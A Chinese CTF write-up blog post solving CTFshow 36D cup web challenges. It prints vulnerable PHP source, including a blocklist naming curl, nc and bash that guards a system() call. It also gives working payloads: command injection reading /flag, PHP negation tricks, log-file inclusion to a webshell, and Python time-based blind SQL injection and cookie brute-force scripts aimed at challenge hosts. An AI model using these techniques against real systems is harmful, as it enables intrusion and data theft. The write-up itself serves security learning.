CTFshow 36D杯

WUSTCTF_朴实无华_Revenge

这个题真的感觉自己没脑子,五一玩傻了。。。。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function isPalindrome($str){
    $len=strlen($str);
    $l=1;
    $k=intval($len/2)+1;
    for($j=0;$j<$k;$j++)
        if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
            $l=0;
            break;
        }
    if ($l==1) return true;
    else return false;
}

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    $numPositve = intval($num);
    $numReverse = intval(strrev($num));
    if (preg_match('/[^0-9.-]/', $num)) {
        die("非洲欢迎你1");
    }
    if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
        die("非洲欢迎你2");
    }
    if( $numPositve === $numReverse && !isPalindrome($num) ){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}

//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5(md5($md5)))
        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

level1

要求输入的字符不是回文,但是intval($num) = intval(strrev($num));
因为intval的特性,level1就有很多方法绕过了
举几个例子

 -0, 0- , 1.10 , 0. , .0 ,0.00

level2

要求$md5==md5(md5($md5))根据php弱类型比较的漏洞,直接跑脚本使得
0e连接上一个数构成的字符串,进行两次md5之后依然是0e开头

import hashlib
def md5(s):
    return hashlib.md5(s.encode()).hexdigest()
for i in range(10**30):
    i='0e'+str(i)
    result=md5(md5(i))
    if result[0:2]=='0e' and  result[2:].isnumeric():
        print(i)

跑了大概一个半小时 结果是0e1138100474

level3
过滤了空格可以用%09代替

/?num=-0&md5=0e1138100474&get_flag=nl%09/flag

WUSTCTF_朴实无华_Revenge_Revenge

和上面那个差不多

?num=0.00&md5=0e1138100474&get_flag=n\l%09flag.ph\p

你取吧

又是拓宽自己思维的一道题
利用黑名单。。。。

?code=`$_[13]$_[18]`

在这里插入图片描述

?code=`$_[12]$_[13]%20/*`

在这里插入图片描述

Login_Only_For_36D

在这里插入图片描述

username=admin\&password=or(sleep(3))#

没有过滤if可以使用时间盲注,但是过滤了substr和ascii,mid,我们可以right,left,ord代替,

我刚开始用的这个原先的脚本,然后跑出来都是小写的,然后不能登,后面like那加上binary区分大小写,然后跑出的密码就可以了。。

import requests
import time

url="http://942e823f-7c7d-4acd-8af9-736830b063eb.challenge.ctf.show:8080/"
flag=""

s="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890-_{}"

for i in range(1,100):
    for j in s:
        z=flag+j
        
        payload='or(if((left(password,100)like(binary("{}%"))),sleep(3),0))#'.format(z)
        print(payload)
        data={
            'username':"admin\\",
            'password':payload
        }
        
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        
        
        
        if time2-time1>2.5:
            flag+=j
            print(time2-time1)
            print(flag)
            
            break
    
   
    

过滤了双引号 的话就用16进制绕就好了

还有一个另一个版本的
原理的话就是从右边开始读,然后字符串转化为ascii,其中ASCII的值为第一个字符的ASCII值
然后ASCII相等就加到flag上,因为是从右到左,所以最后的值再逆置一下就好了

import requests
import time
url="http://07424c07-083b-4eb8-8e52-65972e8147a4.challenge.ctf.show:8080/"
k="}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_{"
flag=""
for i in range(1,100):
    print(i)
   
   
    for j in k:
        j=ord(j)
        data={
            'username':'admin\\',
            'password':'or(if(ord(right(password,{0}))like({1}),sleep(2),0))#'.format(i,j)
            }
        
        print(data['password'])
        time1=time.time()
        r=requests.post(url,data=data)
        time2=time.time()
        if time2-time1>1.9:
            flag+=chr(j)
            print(flag)
            break

ALL_INFO_U_WANT

在这里插入图片描述
然后扫了bak泄露在这里插入图片描述
之前一直没看到这句话,再index.php搞了半天,ccccc
解法1:日志文件包含
在这里插入图片描述

因为是nginx的日志文件在 /var/log/nginx/access.log
在这里插入图片描述
然后蚂剑连接,/flag里是假的。。。
但是提示了真的在/etc里。

然后打开虚拟终端
在这里插入图片描述
然后用grep命令在这里插入图片描述
在这里插入图片描述

给你shell

<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";

if (isset($_GET['view_source'])) {
    show_source(__FILE__);
    die;
}

function checkCookie($s) {
    $arr = explode(':', $s);
    if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
        return true;
    } else {
        if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
        return false;
    }
}

function haveFun($_f_g) {
    $_g_r = 32;
    $_m_u = md5($_f_g);
    $_h_p = strtoupper($_m_u);
    for ($i = 0; $i < $_g_r; $i++) {
        $_i = substr($_h_p, $i, 1);
        $_i = ord($_i);
        print_r($_i & 0xC0);
    }
    die;
}

isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');

if ($obj && isset($_GET['give_me_shell'])) {
    ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}

die;

右键查看网页源代码得到php源码
目的很简单,输入的secret的md5是$flag的md5
但是题目用的弱比较
在网站上输入?give_me_shell
得到了 $flag的逐位与0xC0与的结果,其中为0的则代表md5值为0-9中的,为64的则代表是a-f中的
因为前三位均为0说明 $flag的md5的前三位为数字第四位为字母,
那我们直接爆破即可了
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这个是为什么0的则代表md5值为0-9中的,为64的则代表是a-f。
然后是个弱比较,搞出前面的数字就可以了

import requests
import sys
url="http://7ec57953-babb-48a8-818e-e5d1dcfcac94.challenge.ctf.show:8080/index.php?give_me_shell"
for i in range(1,10):
    for j in range(1,10):
        for k in range(1,10):
            headers = {
                                'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}'		
			}
            r=requests.post(url,headers = headers)
            if "0006464640064064646464006406464064640064006400000000000" not in r.text:
                print(headers['cookie'])
                sys.exit()

得到115,所以直接修改cookie中secret的值为{“secret”:115}即可
得到 w3b5HeLLlll123.php,访问发现又是一个代码审计
通过测试发现过滤了单双引号,括号,反引号,字符 f 以及一些常用函数,既然题目提示我们 flag在 /flag.txt中,那个就应该是要读取文件内容了,既然括号不能用,那就只有使用几个不需要括号的函数了 比如 echo require,因为反引号过滤了,显然echo没有价值了,那个就只有 require了。
题目中没有过滤掉~,那个我们就可以构造文件名
首先读取 /flag.txt中的内容

?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>

提示flag在/flag中

payload:?code=]=1?><?=require~%d0%99%93%9e%98?>

又涨知识了。。一句话的时候可以用?>结尾,就不用分号;绕过过滤。。。
在这里插入图片描述

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值